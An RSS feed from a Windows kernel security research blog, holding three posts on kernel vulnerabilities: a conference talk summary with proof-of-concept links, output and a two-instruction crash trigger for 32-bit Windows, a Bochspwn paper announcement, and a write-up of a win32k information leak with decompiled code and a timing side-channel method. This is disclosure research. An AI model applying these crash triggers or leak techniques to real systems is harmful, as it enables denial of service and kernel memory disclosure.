<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>j00ru//vx tech blog</title>
	<atom:link href="http://j00ru.vexillium.org/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://j00ru.vexillium.org</link>
	<description>Coding, reverse engineering, OS internals covered one more time</description>
	<lastBuildDate>Fri, 24 May 2013 09:22:33 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>NoSuchCon&#8217;13 and crashing Windows with two instructions</title>
		<link>http://j00ru.vexillium.org/?p=1767</link>
		<comments>http://j00ru.vexillium.org/?p=1767#comments</comments>
		<pubDate>Wed, 22 May 2013 01:57:19 +0000</pubDate>
		<dc:creator>j00ru</dc:creator>
				<category><![CDATA[Assembler]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[OS Internals]]></category>
		<category><![CDATA[Papers]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Ring0]]></category>
		<category><![CDATA[Undocumented API]]></category>
		<category><![CDATA[Windows 7]]></category>
		<category><![CDATA[Windows Vista]]></category>
		<category><![CDATA[Windows XP]]></category>

		<guid isPermaLink="false">http://j00ru.vexillium.org/?p=1767</guid>
		<description><![CDATA[The first edition of the NoSuchCon security conference held in Paris ended just a few days ago. Before anything else, I would like to thank all of the organizers (proudly listed at nosuchcon.org) for making the event such a blast! Both the location, venue and speaker line-up were amazing, with lots of free beer and [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><a href="http://j00ru.vexillium.org/blog/21_05_13/hackers.jpg"><img class="alignleft" style="margin-right: 10px;" title="Nikita Tarakanov, Nicolas Grégoire, Donato Ferrante, Mateusz Jurczyk, Luigi Auriemma" alt="" src="http://j00ru.vexillium.org/blog/21_05_13/hackers_small.jpg" width="244" height="325" /></a>The first edition of the NoSuchCon security conference held in Paris ended just a few days ago. Before anything else, I would like to thank all of the organizers (proudly listed at <a href="http://nosuchcon.org/">nosuchcon.org</a>) for making the event such a blast! Both the location, venue and speaker line-up were amazing, with lots of free beer and wealth of people to chat with. Overall, I am very happy to have shown up there and I will definitely make sure to attend the second edition of the conference.</p>
<p style="text-align: justify;">Other than drinking, discussing 0-days and visiting Paris, I also had the pleasure to give a talk about the usual subject &#8211; Windows kernel security. The exact title of my presentation was &#8220;<span style="text-decoration: underline;">Abusing the Windows Kernel: How to Crash an Operating System With Two Instructions</span>&#8220;, and touched on the subject of several different exploitation techniques, internal CPU related behavior and security vulnerabilities (all related to the Windows operating system) that I discovered during the course of last several weeks / months.</p>
<p style="text-align: justify;">While the slide deck was made available to the attendees right at the beginning of my talk at <a href="http://nosuchcon.org/talks">nosuchcon.org/talks</a> (great idea!), I&#8217;m reposting them here anyway, in case you haven&#8217;t had a chance to take a look yet. In fact, a majority of the talks were interesting and highly technical, so be sure to check the available material for all presentations ;-)</p>
<p style="text-align: center;"><span style="text-decoration: underline;"><strong>Download</strong></span></p>
<p style="text-align: justify;"><strong>Slides: &#8220;<a href="http://j00ru.vexillium.org/blog/21_05_13/nsc2013_slides.pdf"><strong>Abusing the Windows Kernel: How to Crash an Operating System With Two Instructions</strong></a>&#8221; (3.3MB, PDF)</strong></p>
<p style="text-align: justify;"><strong>KiTrap0e advisory: &#8220;<a href="http://j00ru.vexillium.org/blog/21_05_13/kitrap0e.html">Abusing Windows NT #PF Trap Handler to Bugcheck and Leak Information</a>&#8221;<br />
</strong></p>
<p><span id="more-1767"></span></p>
<p style="text-align: justify;">I originally planned to address six separate topics, but due to time constraints I decided to skip some of them in favor of the other ones. A brief description of each technique and vulnerability follows below.</p>
<ul>
<li style="text-align: justify;"><strong>&#8220;nt!memcpy (and the like) reverse copying order&#8221;</strong> &#8211; certain implementations of the <em>memcpy</em>, <em>memmove</em>, <em>RtlCopyMemory</em> and <em>RtlMoveMemory</em> found in the kernel and third-party drivers alike handle the &#8220;overlapping regions&#8221; corner case by reversing the copy process order from the intuitive left-to-right to right-to-left direction. By starting to write at the end of the destination memory region, the functions facilitate successful exploitation of certain buffer overflow vulnerabilities, by allowing a (relative)<em> write-what-where</em> <em>condition</em> to be provoked.<br />
<span style="color: #ffffff;">.</span><br />
While the technique works best for a kernel ← user copy on 64-bit platforms, it can also be applied to a number of other scenarios. For more information, please refer to the <em>&#8220;Memory Copy Functions in Local Windows Kernel Exploitation&#8221;</em> article published last year in the <a href="http://j00ru.vexillium.org/?p=1441">Hack in the Box Magazine, Issue 009</a>. The Proof of Concept source code of a vulnerable device driver and an exploit used during live demonstration can be found at <strong> <a href="http://j00ru.vexillium.org/blog/21_05_13/memcpy_ioctl.zip">memcpy_ioctl.zip</a> (3.9kB, ZIP). </strong>Note that the code has only been confirmed to be suspectible to a stack cookie bypass when built with WDK 7600.16385.1 for Windows 7 (x64 Free Build), although it should generally work for any 64-bit target.<br />
<span style="color: #ffffff;">.</span></li>
<li style="text-align: justify;"><strong>&#8220;nt!memcmp double-fetch&#8221;</strong> &#8211; an interesting behavior found in the Windows 8 32-bit implementation of the nt!memcmp standard function, making it possible to <em>fake matching regions</em> when a user-mode pointer is passed as one of the function&#8217;s parameters. Due to lack of time, this was not covered at NSC; however, our <strong><a href="http://j00ru.vexillium.org/?p=1695">SyScan&#8217;13 slides and paper</a></strong> explain the problem thoroughly.<br />
<span style="color: #ffffff;">.</span></li>
<li style="text-align: justify;"><strong>&#8220;PAGE_GUARD and kernel code execution flow&#8221;</strong> &#8211; a technique already described in the &#8220;<a href="http://j00ru.vexillium.org/?p=1594">Fun facts: Windows kernel and guard pages</a>&#8221; and &#8220;<a href="http://j00ru.vexillium.org/?p=1609">A story of win32k!cCapString, or unicode strings gone bad.</a>&#8221; blog posts.<br />
<span style="color: #ffffff;">.</span></li>
<li style="text-align: justify;"><strong>&#8220;SegSs, LDT_ENTRY.HighWord.Bits.Default_Big and IRETD&#8221;</strong> &#8211; due to how the <em>&#8220;</em>Big<em>&#8220;</em> LDT entry flag in the SS: segment descriptor is handled by the IRETD instruction used for cross-privilege-level transfers in Windows, it is possible to have the CPU disclose the upper 16 bits of the current thread&#8217;s kernel stack pointer in 32-bit versions of Windows.<br />
<span style="color: #ffffff;">.</span><br />
Proof of Concept source code:<strong> <a href="http://j00ru.vexillium.org/blog/21_05_13/small_seg.zip">small_seg.zip</a> (1kB, ZIP).<br />
<span style="color: #ffffff;">.</span><br />
</strong>Example output:</p>
<pre class="brush: text; gutter: true; highlight:[2, 5, 8]">Z:\&gt;smallseg.exe
[+] High word of kernel stack address: 94070000

Z:\&gt;smallseg.exe
[+] High word of kernel stack address: 94010000

Z:\&gt;smallseg.exe
[+] High word of kernel stack address: 956b0000</pre>
</li>
<li style="text-align: justify;"><strong>&#8220;Windows 32-bit Trap Handlers&#8221;</strong> &#8211; the lack of proper sanitization of the previous CPL inside several trap handlers used in 32-bit Windows can be leveraged to disclose addresses of several internal <em>ntoskrnl.exe</em> (or equivalent) symbols in the kernel address space, effectively defeating kernel ASLR (not that it matters much for this particular OS).<br />
<span style="color: #ffffff;">.</span><br />
Proof of Concept source code: <strong><a href="http://j00ru.vexillium.org/blog/21_05_13/kitrap01.zip">kitrap01.zip</a> (1.3kB, ZIP)</strong> and <strong><a href="http://j00ru.vexillium.org/blog/21_05_13/kitrap0e_addr.zip">kitrap0e_addr.zip</a> (1.4kB, ZIP)</strong>.<br />
<span style="color: #ffffff;">.</span><br />
Example outputs:</p>
<pre class="brush: text; gutter: true; highlight:[4]">Z:\&gt;kitrap01.exe
[+] Kernel image base: 8320c000, size: 413000
[+] Iteration 3d000 / 413000
[+] nt!KiFastCallEntry address: 83249790</pre>
<pre class="brush: text; gutter: true; highlight:[4, 5, 7]">Z:\&gt;kitrap0e.exe
[+] Kernel image base: 8320c000, size: 413000
[+] Iteration 3d000 / 413000
[+] Leaked address: 8324984c
[+] Leaked address: 83249887
[+] Iteration 41000 / 413000
[+] Leaked address: 8324d4ed
[+] Iteration 412000 / 413000</pre>
</li>
</ul>
<ul>
<li style="text-align: justify;"><strong>&#8220;Crashing Windows and leaking bits&#8221;</strong> &#8211; the primary focus area of the overall talk. As it turns out, the nt!KiTrap0e #PF trap handler trusts the KTRAP_FRAME.Ebp field to be a valid kernel-mode pointer when processing faults occuring at a specific, magic Eip values. Again, due to lack of proper KTRAP_FRAME.SegCs sanitization, it is possible to craft a frame with controlled Eip and the user-mode Ebp register, allowing a local attacker to crash the system via an invalid memory reference, or otherwise disclose the least significant bit of any byte in the kernel address space.The two instructions capable of crashing all 32-bit Windows NT-family systems as of today are as follows:<br />
<h1 style="text-align: center;">xor ebp, ebp</h1>
<h1 style="text-align: center;">jmp 0x8327d1b7</h1>
<p>where 0x8327d1b7 is the nt!KiSystemServiceAccessTeb address.</p>
<p>Proof of Concept source code: <strong><a href="http://j00ru.vexillium.org/blog/21_05_13/kitrap0e_bsod.zip">kitrap0e_bsod.zip</a> (0.5kB, ZIP)</strong>, <strong><a href="http://j00ru.vexillium.org/blog/21_05_13/kitrap0e_leak_bits.zip">kitrap0e_leak_bits.zip</a> (1.4kB, ZIP)</strong> and <strong><a href="http://j00ru.vexillium.org/blog/21_05_13/kitrap0e_addr_space.zip">kitrap0e_addr_space.zip</a> (1.5kB, ZIP)</strong>. The programs unconditionally crash the operating system, allow disclosing specific bits of the kernel memory and scan the kernel address space layout, respectively.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://j00ru.vexillium.org/?feed=rss2&#038;p=1767</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>SyScan 2013, Bochspwn paper and slides</title>
		<link>http://j00ru.vexillium.org/?p=1695</link>
		<comments>http://j00ru.vexillium.org/?p=1695#comments</comments>
		<pubDate>Thu, 02 May 2013 18:53:36 +0000</pubDate>
		<dc:creator>j00ru</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[OS Internals]]></category>
		<category><![CDATA[Papers]]></category>
		<category><![CDATA[Ring0]]></category>
		<category><![CDATA[Ring3]]></category>
		<category><![CDATA[Undocumented API]]></category>
		<category><![CDATA[Windows 7]]></category>
		<category><![CDATA[Windows Vista]]></category>
		<category><![CDATA[Windows XP]]></category>

		<guid isPermaLink="false">http://j00ru.vexillium.org/?p=1695</guid>
		<description><![CDATA[(Collaborative post by Mateusz &#8220;j00ru&#8221; Jurczyk and Gynvael Coldwind) A few days ago we (Gynvael and I) gave a talk during the SyScan&#8217;13 conference in the fine city of Singapore, and as promised (though with a slight delay), today we are publishing both the slide deck and a white paper discussing memory access pattern analysis [...]]]></description>
				<content:encoded><![CDATA[<p dir="ltr"><strong>(Collaborative post by Mateusz &#8220;j00ru&#8221; Jurczyk and <a href="http://gynvael.coldwind.pl/?id=503">Gynvael Coldwind</a>)</strong></p>
<p><a href="http://j00ru.vexillium.org/blog/02_05_13/singapore_1600.jpg"><img class="alignright" style="margin-left: 10px;" alt="Singapore, photo by Arashi Coldwind" src="http://j00ru.vexillium.org/blog/02_05_13/singapore.jpg" width="360" height="239" /></a></p>
<p dir="ltr" style="text-align: justify;">A few days ago we (Gynvael and I) gave a talk during the <a href="http://www.syscan.org/index.php/sg/program/day/2">SyScan&#8217;13</a> conference in the fine city of Singapore, and as promised (though with a slight delay), today we are publishing both the slide deck and a white paper discussing memory access pattern analysis &#8211; a technique we recently employed with success to discover around 50 double-fetch vulnerabilities in Windows kernel and related drivers (<em>Elevation of Privileges</em> and <em>Denial of Service</em> class; see Microsoft Security Bulletins <a href="http://technet.microsoft.com/en-us/security/bulletin/ms13-016">MS13-016</a>, <a href="http://technet.microsoft.com/en-us/security/bulletin/ms13-017">MS13-017</a>, <a href="http://technet.microsoft.com/en-us/security/bulletin/ms13-031">MS13-031</a> and <a href="http://technet.microsoft.com/en-us/security/bulletin/ms13-036">MS13-036</a> released in February and April this year. Also, stay tuned for more security patches in May and June).</p>
<p dir="ltr" style="text-align: justify;">In our SyScan presentation, we explained the concept of kernel race conditions in interacting with user-mode memory, gave a brief rundown on how they can be identified by using CPU-level instrumentation of an operating system session, and later focused on how they can be successfully exploited with the help of several generic techniques (on the example of three Windows vulnerabilities discovered by the Bochspwn project). While we only had the time to go through a single case study (the CVE-2013-1254 vulnerability in <span style="font-family: consolas, monospace; font-size: 1.1em;">win32k!SfnINOUTSTYLECHANGE</span>), both slides and the paper contain a detailed analysis of another local privilege escalation: CVE-2013-1278 in <span style="font-family: consolas, monospace; font-size: 1.1em;">nt!ApphelpCacheLookupEntry</span>, and an amusing case of a double fetch <em>behavior</em> (it is not clear if it can be classified as a bug) found in the default kernel implementation of the standard <span style="font-family: consolas, monospace; font-size: 1.1em;">nt!memcmp</span> function, as a bonus.</p>
<p dir="ltr" style="text-align: justify;">We hope you will enjoy both the slides and whitepaper &#8211; considering the amount of time we have dedicated to the research, we would really appreciate your feedback.</p>
<p dir="ltr"><strong>Download:</strong></p>
<ul>
<li dir="ltr">
<p dir="ltr"><strong>Slides: &#8220;<a href="http://vexillium.org/dl.php?syscan_slides.pdf">Bochspwn: Exploiting Kernel Race Conditions Found via Memory Access Patterns</a>&#8221; (2.6MB, PDF)</strong></p>
</li>
<li dir="ltr">
<p dir="ltr"><strong>Paper: &#8220;<a href="http://vexillium.org/dl.php?bochspwn.pdf">Identifying and Exploiting Windows Kernel Race Conditions via Memory Access Patterns</a>&#8221; (1.0MB, PDF)</strong></p>
</li>
</ul>
<p><span id="more-1695"></span></p>
<p dir="ltr" style="text-align: justify;">Please note that we are not releasing the Bochspwn project at this time &#8211; we are planning to open-source it later this year. On the other hand, the demo videos for the <strong>CVE-2013-1254</strong> and <strong>CVE-2013-1278</strong> vulnerabilities shown during the talk are now available online:</p>
<p><center></p>
<p><iframe width="500" height="375" src="http://www.youtube.com/embed/HkMupJy_pUk?feature=oembed" frameborder="0" allowfullscreen></iframe></p>
<p>http://www.youtube.com/watch?v=kBSJ92F-ZZ4</center></p>
<p dir="ltr" style="text-align: justify;">The SyScan event itself was really fun &#8211; the speaker line-up was one of the best ones we have seen this year, ensuring high technical quality of the talks (which they were in fact quite inspiring), with nothing lacking on the organizational side. We were also positively surprised by the city-state of Singapore &#8211; it&#8217;s really a modern, clean and friendly place! We had a great time there and hope to visit it again soon ;)</p>
]]></content:encoded>
			<wfw:commentRss>http://j00ru.vexillium.org/?feed=rss2&#038;p=1695</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>A story of win32k!cCapString, or unicode strings gone bad.</title>
		<link>http://j00ru.vexillium.org/?p=1609</link>
		<comments>http://j00ru.vexillium.org/?p=1609#comments</comments>
		<pubDate>Tue, 16 Apr 2013 14:24:21 +0000</pubDate>
		<dc:creator>j00ru</dc:creator>
				<category><![CDATA[C]]></category>
		<category><![CDATA[Cpp]]></category>
		<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[OS Internals]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Ring0]]></category>
		<category><![CDATA[Windows 7]]></category>
		<category><![CDATA[Windows Vista]]></category>
		<category><![CDATA[Windows XP]]></category>

		<guid isPermaLink="false">http://j00ru.vexillium.org/?p=1609</guid>
		<description><![CDATA[In the most recent blog post (&#8220;Fun facts: Windows kernel and guard pages&#8221;), we have learned how the code coverage of kernel routines referencing user-mode memory can be determined by taking advantage of the fact that kernel-mode code triggers guard page exceptions in the same way as user-mode does. Today, I will present how the [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">In the most recent blog post (<a href="http://j00ru.vexillium.org/?p=1594">&#8220;Fun facts: Windows kernel and guard pages&#8221;</a>), we have learned how the code coverage of kernel routines referencing user-mode memory can be determined by taking advantage of the fact that kernel-mode code triggers guard page exceptions in the same way as user-mode does. Today, I will present how the trick can be used in a practical attack against an actual 0-day vulnerability in the Windows kernel. Don&#8217;t get too excited though &#8211; the bug is a very peculiar type of an <em>information disclosure</em> class, not particularly useful in any sort of real-life attack. Despite being of minimal severity due to the extent of information the bug makes it possible to leak, it makes a great example of how the misuse of the <a href="http://msdn.microsoft.com/pl-pl/library/windows/desktop/aa380518%28v=vs.85%29.aspx">UNICODE_STRING</a> structure and related kernel routines can lead to opening up a security loophole in the operating system.</p>
<p>Microsoft has been aware of the issue for over 4 months, but due to its low severity, I believe it is rather unlikely it will be fixed any time soon.</p>
<h1 style="text-align: justify;">Unicode string security</h1>
<p>All of the most recent versions of the Windows operating system (starting with Windows 2000) internally handle textual strings using the UTF-16 encoding and a UNICODE_STRING structure defined as follows:</p>
<pre class="brush: c; gutter: true">typedef struct _LSA_UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;</pre>
<p style="text-align: justify;">Together with the structure definition, both user- and kernel-mode API interfaces provide a set of functions designed to initialize, examine, compare and otherwise operate on unicode strings, <em></em>e.g. <a href="http://msdn.microsoft.com/en-us/library/windows/hardware/ff561934%28v=vs.85%29.aspx"><em>RtlInitUnicodeString</em></a>, <a href="http://msdn.microsoft.com/en-us/library/windows/hardware/ff561729%28v=vs.85%29.aspx"><em>RtlAnsiStringToUnicodeString</em></a> or <a href="http://msdn.microsoft.com/en-us/library/windows/hardware/ff561736%28v=vs.85%29.aspx"><em>RtlAppendUnicodeStringToString</em></a>. In the above listing, the <em>Length</em> field represents the current length of the string in bytes (it must be a multiplicity of two due to the encoding used), <em>MaximumLength</em> indicates the total capacity of the buffer in bytes and <em>Buffer</em> points to the actual data. Note that both <em>Length</em> and <em>MaximumLength</em> fields are only 16-bits long, which is by far enough to accommodate the size of any string used during normal operation of the system. Perhaps contrary to intuition, the relatively limited ranges of the integers (making it possible to easily craft a string of a maximum size) do <strong></strong><span style="text-decoration: underline;">not</span> pose any serious threat with regards to integer arithmetic, because overflowing either fields doesn&#8217;t give the attacker much edge. If you think about it, getting <em>Length</em> to be smaller than the actual length of the string can only lead to overwriting the existing buffer contents, but will never result in writing past the pool allocation. Similarly, setting <em>MaximumLength</em> to an overly small number only puts a more strict limitation on how many bytes can be stored in the corresponding buffer, or causes all subsequent calls to fail due to an invalid <em>Length &gt; MaximumLength</em> condition. As a consequence, integer overflows are not of much interest in this context.</p>
<p><span id="more-1609"></span></p>
<p style="text-align: justify;">In general, the overall unicode-handling functionality is trivial enough that it is fairly uncommon to observe purely unicode-based vulnerabilities fixed in the Windows kernel. Interestingly, there are still several things that can go wrong as a result of programming mistakes made by kernel-mode developers, such as:</p>
<ul>
<li style="text-align: justify;">Assuming that the <em>Length</em> or <em>MaximumLength</em> of a user-supplied UNICODE_STRING is divisible by two. Depending on various factors, this can lead to <em>denial of service</em> or even <em></em><em>local elevation of privilege</em> conditions under specific circumstances. For example, imagine the following snippet of device driver code:
<pre class="brush: c; gutter: true">PUNICODE_STRING UserString = /* user-controlled source */;
PWCHAR LocalString;
UINT i;

LocalString = ExAllocatePool(PagedPool, LocalString-&gt;Length);
if (LocalString != NULL) {
  for (i = 0; i != UserString-&gt;Length; i += sizeof(WCHAR)) {
    LocalString[i / sizeof(WCHAR)] = UserString-&gt;Buffer[i / sizeof(WCHAR)];
  }
}</pre>
<p>If a rogue user provided an input string with an odd number of bytes, <em></em>the terminal condition for the <em>for</em> loop would be never met, thus resulting in writing past the pool-based buffer until either the source or destination region end, at which point the system would crash.</li>
<li style="text-align: justify;">Assuming that calls to Unicode API functions always succeed. If you look closely, it turns out that a number of the string manipulation routines can fail under specific conditions, and the fact is signalized by an appropriate error code. For example, MSDN lists the following two possible return values for the <a href="http://msdn.microsoft.com/en-us/library/windows/hardware/ff561736%28v=vs.85%29.aspx">RtlAppendUnicodeStringToString</a> function:
<ul>
<li><strong>STATUS_SUCCESS</strong>: The source string was successfully appended to the destination counted string. The destination string length is updated to include the appended bytes.</li>
<li><strong>STATUS_BUFFER_TOO_SMALL</strong>: The destination string length is too small to allow the source string to be concatenated. Accordingly, the destination string length is not updated.</li>
</ul>
<p>The consequences of assuming that every operation succeeds can vary, depending on what other assumptions are derived from the original one. If a buggy driver assumes that once an &#8220;append&#8221; call completes, the <em>Length</em> field has a specific value without really verifying it, it can end up disclosing random pool bytes or doing something even more dangerous.</li>
<li style="text-align: justify;">Directly mangling with the UNICODE_STRING fields. The Unicode API is designed so that it is impossible to cause memory corruption only by using the system provided functions. However, modifying the values on one&#8217;s own is very easy to get wrong, at the risk of a potential security vulnerability.</li>
</ul>
<p style="text-align: justify;">Now back to the symbol from the title of the post: <span style="text-decoration: underline;">win32k!cCapString</span>. A pseudocode C-like version of the routine found in win32k.sys on a fully patched Windows 7 SP1 32-bit platform is shown below:</p>
<pre class="brush: c; gutter: true">INT cCapString(WCHAR *dst, WCHAR *src, UINT len) {
  PWCHAR src_end;
  PWCHAR i;
  INT real_len;
  UNICODE_STRING DestinationString;
  UNICODE_STRING SourceString;

  src_end = &amp;src[len - 1];
  for (i = src; i &lt; src_end; i++) {
    if (*i == L&#039;\0&#039;) {
      break;
    }
  }

  real_len = i - src;
  if (real_len) {
    SourceString.Length = 2 * real_len;
    SourceString.MaximumLength = 2 * len;
    SourceString.Buffer = src;

    DestinationString.MaximumLength = 2 * len;
    DestinationString.Buffer = dst;

    RtlUpcaseUnicodeString(&amp;DestinationString, &amp;SourceString, 0);
  }

  dst[real_len] = L&#039;\0&#039;;
  return real_len;
}</pre>
<p style="text-align: justify;">The routine is very simple in its principle: given a source unicode string, a destination buffer and its size expressed in wide characters, the function <em></em>copies an upper-case version of <em>src</em> to <em>dst</em>. When you investigate the code, it becomes apparent that there are at least three problems with the implementation:<em></em></p>
<ol>
<li style="text-align: justify;">Given a long enough input string, the expressions in lines 17, 18 and 19 can overflow the USHORT type. This in itself wouldn&#8217;t be too bad if the values assigned to <em>SourceString.</em><em>Length</em> and <em>DestinationString.</em><em>MaximumLength</em> were consistent. However, due to the fact that <em>real_len</em> is calculated separately, it is theoretically possible to set each field to any value independently, including numbers that result in an errornous <em>Length &gt; MaximumLength</em> condition. When <em>RtlUpcaseUnicodeString</em> encounters a <em>SourceString.Length &gt; DestinationString.MaximumLength</em> situation, here&#8217;s what happens:
<pre class="brush: actionscript3; gutter: true">  else if (SourceString-&gt;Length &gt; DestinationString-&gt;MaximumLength) {
    return STATUS_BUFFER_OVERFLOW;
  }</pre>
</li>
<li>The return value of <em>RtlUpcaseUnicodeString </em>is not verified in any way.</li>
<li>The <em>cCapString</em> function itself doesn&#8217;t implement error handling, thus it is unable to inform the caller about a potential problem in capturing the input string. Instead, it always returns the &#8220;real length&#8221; of <em>src</em> as the number of captured bytes.</li>
</ol>
<p style="text-align: justify;">Based on the above, it is possible to cause the function to misbehave by not writing anything at all to <em>dst</em> (due to the failing <em>RtlUpcaseUnicodeString</em> call), yet returning the number of non-null characters in the input string as the number of captured bytes. This is achieved by passing a string consisting of 32768 characters and putting a unicode null at the desired position, later used as the <em>cCapString</em> return value. Now, let&#8217;s find out if callers of the buggy function allow user-mode to pass arbitrarily-sized strings, in the first place!</p>
<p style="text-align: justify;">On Windows 7, the routine is invoked from 16 different locations. While originally investigating the issue, I have gone through the trouble of looking into each of them, concluding that the only one with any exploitability potential is <em>win32k!bCheckAndCapThePath</em>, implemented as follows:</p>
<pre class="brush: c; gutter: true">BOOLEAN bCheckAndCapThePath(PWCHAR dst, PWCHAR src, ULONG len, ULONG exp_files) {
  INT act_files;
  ULONG i;

  /* Sanitize the (src, len) pair. */

  if (src[len - 1] != L&#039;\0&#039;) {
    return false;
  }

  cCapString(dst, src, len);

  for (i = 0, act_files = 1; i &lt; len; i++) {
    if (dst[i] == L&#039;|&#039;) {
      dst[i] = L&#039;\0&#039;;
      act_files++;
    }
  }

  return (exp_files == act_files);
}</pre>
<p style="text-align: justify;">What the function does is basically cal<em></em>l <em>cCapString</em> over the input arguments, count the number of the &#8220;|&#8221; unicode character instances in the resulting buffer and check if the count matches one of its arguments. Once again, the routine unconditionally assumes that <em>cCapString</em> always succeeds, and doesn&#8217;t even bother checking or using its return value &#8211; instead, it iterates through all <em>len </em>characters. There are two scenarios in which the function will start accessing uninitialized bytes<em> </em>in <em>dst</em>: one because of the bugs in <em>cCapString</em>, and one because of <em>bCheckAndCapThePath</em> itself:</p>
<ol>
<li>If<em></em> the nested <em>RtlUpcaseUnicodeString</em> call fails entirely, none of the bytes in <em>dst</em> are properly initialized. The L&#8217;|&#8217; characters are counted in a buffer that only contains garbage.<em></em></li>
<li>If we insert a nul character somewhere inside of the string in addition to the end, <em>real_len</em> will be smaller than <em>len</em>, thus <em>dst</em> will be only partially filled. Because the function discards all signs of the real length of <em>dst </em>(return value of <em>cCapString</em>, nul character at the end), the &#8220;for&#8221; loop will iterate through garbage data of size<em> len &#8211; real_len</em>.</li>
</ol>
<p style="text-align: justify;">The <em>bCheckAndCapThePath</em> has three different callers: <em>NtGdiAddFontResourceW</em>, <em>NtGdiRemoveFontResourceW </em>and <em>NtGdiGetFontResourceInfoInternalW</em>.  The parameters passed to <em>bCheckAndCapThePath</em> are based on the syscalls&#8217; arguments in the following manner:</p>
<ul>
<li><em>dst</em> is a kernel-mode buffer, allocated from:
<ul>
<li>the syscall handler&#8217;s stack (a local buffer), if the length is below or equal to 160 bytes.</li>
<li>session paged pool, if the length is below or equal to 2088 bytes (for <em>NtGdiAddFontResourceW</em>), or 40960000 bytes (for <em>NtGdiRemoveFontResourceW</em><em> </em>and <em><em>NtGdiGetFontResourceInfoInternalW</em></em><em></em>)</li>
</ul>
</li>
<li><em>src</em> is a user-controlled pointer.</li>
<li><em>len</em> is the user-controlled length of <em>dst</em>.</li>
<li><em>files</em> is a user-controlled number.</li>
</ul>
<p style="text-align: justify;">This means that the first bug (integer overflow in <em>MaximumLength</em>) can be triggered using the &#8220;Remove&#8221; and &#8220;Get&#8221; system calls because they allow long enough strings to be passed down the call chain, and the second one (misplaced nul) can be triggered with all three services. <strong>Simply put, the vulnerability allows an attacker to ask the following question:</strong></p>
<p style="padding-left: 30px;"><span style="color: #6c6c6c;">Is the number of the &#8220;0x007c&#8221; words found at even offsets of an uninitialized stack buffer (up to 160 bytes long) or session paged pool buffer (up to 40960000 bytes) equal to <em>x</em>?</span></p>
<p style="text-align: justify;"><strong>where the value of <em>x</em> and length of the buffer are controlled by the attacker.</strong> If we don&#8217;t guess correctly, we never get a second chance for the same memory region, as all instances of 0x007c are instantly replaced with 0&#215;0000 inside the counting loop. The answer to the question is returned in the form of a boolean value from the <em>bCheckAndCapThePath</em> call; in order to disclose the information to user-mode, that return value must be somehow recovered from ring-3. If we decide to use <em>NtGdiRemoveFontResourceW</em><em></em><em> </em>for further exploitation, it turns out that its code execution path highly depends on the result of the <em>bCheckaAndCapThePath</em> invocation. More precisely, the following construct can be found in the function:</p>
<pre class="brush: c; gutter: true">if (bCheckAndCapThePath(dst, src, len, files)) {
  /* Sanitize &quot;PDWORD a6&quot;, the sixth syscall parameter */

  UINT value = a6[1];

  /* Implement the rest of the functionality */
}</pre>
<p style="text-align: justify;">The fact that the user-supplied pointer from the 6-th parameter is referenced if and only if the previous function call succeeds can be taken advantage of in two different ways. The first idea involves carrying out a timing attack: we can pass an invalid pointer as <em>a6,</em> thus getting the kernel to generate an exception in case of a correct guess. There is a fine difference in the amount of time taken by the kernel to properly dispatch the exception in comparison to just normally exiting the syscall handler. The following list of values illustrates the timings (in CPU ticks) achieved for buffer size=160 and a correct guess (none 0x007c words in the region) vs. an incorrect guess (one hundred 0x007c words in the region, obviously false):</p>
<pre class="brush: text; gutter: true">1. correct: 128404 ticks, incorrect: 730 ticks
2. correct: 8751 ticks, incorrect: 643 ticks
3. correct: 4462 ticks, incorrect: 614 ticks
4. correct: 4395 ticks, incorrect: 640 ticks
5. correct: 4169 ticks, incorrect: 600 ticks
6. correct: 4221 ticks, incorrect: 593 ticks
7. correct: 4204 ticks, incorrect: 588 ticks
8. correct: 4145 ticks, incorrect: 596 ticks
9. correct: 4157 ticks, incorrect: 596 ticks
10. correct: 4143 ticks, incorrect: 594 ticks
11. correct: 4160 ticks, incorrect: 596 ticks
12. correct: 4334 ticks, incorrect: 643 ticks
13. correct: 4131 ticks, incorrect: 591 ticks
14. correct: 4160 ticks, incorrect: 596 ticks
15. correct: 4143 ticks, incorrect: 596 ticks
16. correct: 4145 ticks, incorrect: 591 ticks
Minimum correct: 4131 ticks, incorrect: 588 ticks</pre>
<p style="text-align: justify;">As clearly visible, it takes approximately eight times longer for the system call to complete if we make a correct guess, making it trivially distinguishable from an incorrect hit. As you can probably imagine at this point, the attack can be also conducted in a more deterministic way, by making use of the technique discussed last time. <strong>Instead of passing an invalid pointer and hoping for an exception to occur, we can set it to a PAGE_GUARD-protected memory page and later determine if the memory was accessed by testing the guard bit of the page!</strong></p>
